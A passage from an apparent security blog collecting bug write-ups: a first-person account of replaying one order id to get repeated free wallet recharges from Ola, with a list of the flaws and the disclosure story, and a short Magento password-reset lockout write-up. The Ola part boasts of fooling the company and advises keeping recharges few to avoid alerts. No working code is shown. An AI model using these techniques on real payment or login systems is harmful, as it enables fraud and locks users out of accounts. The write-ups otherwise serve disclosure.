Now I have one order id that is ready for transaction, which I can use to acknowledge completion. Lock and load!
In few seconds I received a message on my phone, confirming the recharge and I was like YESSSSSS……..its done!!! I just cannot express what it was like. I just fooled one of the biggest startups with millions in funding.
Hearing me shout in excitement, my sleeping flatmate DAERTY came running to the scene, “kya hua be kyu itna chilla raha h, chain se sone bhi nahi deta” (why are you shouting, you never let me sleep peacefully). I said dude watch this. I sent the last request again, pressed enter which culminated with my phone message tone ringing.
Note that I didn’t even generate a new order, it was the same order id. If you still didn’t get the joke — it means that they were not even checking for order id, which simply means you can use the same order id to do as many recharges with whatever amount you want, obviously not like 100's so they get alerted (from what I’m seeing we can safely assume they are not going to). It was hilariously traumatizing (lol).
To summarize this, I think the problem really was in their architecture. I mean for the love of God, you should make order id unique, isn’t it? Ola was not even tracking order ids. Maybe money is getting to their heads. Maybe in the process of putting more taxis on the road they lost track of their technology. Maybe that is why their customer support always sucks. And maybe that’s why they forgot something as basic as this when it comes to library management. Maybe that’s why the Startup of the Year has such a huge security vulnerability.
Below is another screenshot of my android phone showing the successful transactions.
Final chapter:
The Aftermath I was brought up a law-abiding citizen. Ethics are embedded (so I hack ethically). So me and my friend decided to write a mail to Ola to tell/caution them. We definitely did not have any intention of getting them in trouble, even if they seem to have trouble providing customer service.
Where better to shake them out of their slumber than ask their dreadful customer support (that’s right, we are gentle folks). So we wrote them a mail asking in essence — do you guys have any bug bounty program?”. If you’re enough of a techie, you will know how Google deals with bugs. What we got in response was a very ugly and rude response from their them. In retrospect I’m surprised that I was surprised…
Even after such a hurtful response from them, we replied them back saying that it’s fine if they aren’t interested in improving their system. Two days later, we received a mail from their customer support HEAD saying we will get back to you on this (maybe they weren’t that bad). Now what, now we wait…..
1,2,3….7 days i.e. one week was over and there was no response, maybe they were busy talking to cabbies. At that time I was working with Kuliza Technologies, Bangalore. I talked to my senior management people and told them about this. They were very supportive and professional about this episode. They helped me report this issue to the management of Ola and even sent a mail to the CEO with all the details and findings of that hack (not boasting but it was a hack)
A few days later, one of their security people replied. It went something like this
Thanks for reporting this issue to us, we will fix this and will keep you updated.
In short the issues with Ola are :-
1. Weak design of DB and architecture, and glaringly poor implementation on app.For example order-id is supposed to be unique but you can use same order-id to recharge your wallet again and again.
2. It seems that checksum, card id etc isn’t crosschecked with MobiKwik. You can use any gibberish values in place of checksum & card-id, and the recharge will still be done successfully.
3. Lack of implementation of security protocols like HTTPS or any token validation. While making money transactions, some token validation mechanism should have been implemented. At least proper server side validations should be present.
P.S. : Since they haven’t responded well and this issue has been fixed in current version.
Posted by Pentesting-Lab at 01:39 0 comments
Bug on Megneto can restrict User to Login to Account | Writeup by Vishwa Raj
This bug has been submitted to Pentesting Lab by Viswa Raj.
Issue :
In this when a user request for a password reset then a unique password is being sended to the user’s gmail and the application won’t allow the user to login until the password at the mail is not being given because application is resetting he password automatically without asking the user permissions
Impact :
Attacker can abuse this functionality easily by requesting a password reset and restrict the user to login his own account for hour’s until user don’t know that the password is at their mail .
Explained Further :
So the attacker will create an easy script in python
to launch a password reset request on the behalf of user’s just via email [Since magento is also vulnerable to user enumeration bug in which i was able to extract the existing user’s into the magento due to improper rate limiting ] so attacker will be giving problem’s to your existing customers and if the same code is used in enterprise magento then it will effect it too .
PS : This bug has been already reported to megneto and unfortunately the denied this bug.
You can see the reply from them..
Video POC :
Posted by Pentesting-Lab at 06:21 1 comments
XSS on Orkut | Video Demo by Tanuj Jane
Recently, Tanuj Jane has submitted to Pentesting-Lab, POC of his one of the Bug Finding that was XSS on Orkut.
We all know about Orkut and Google has stopped this service a long back ago.
Tanuj has submitted video demonstation to us. So check this out guys..
Posted by Pentesting-Lab at 23:28 0 comments
Vishwa Raj | Introduction
So far He has been listed in so may Hall of Fame like Facebook bounty ( multiple time ), Apple, Samsung, Hackerank, Hackerearth and also got aknowledgement from Eset and Trend micro.
We will reveal his Findings with proper POC soon on this site..
Stay Tuned with us....
Posted by Pentesting-Lab at 23:21 0 comments


























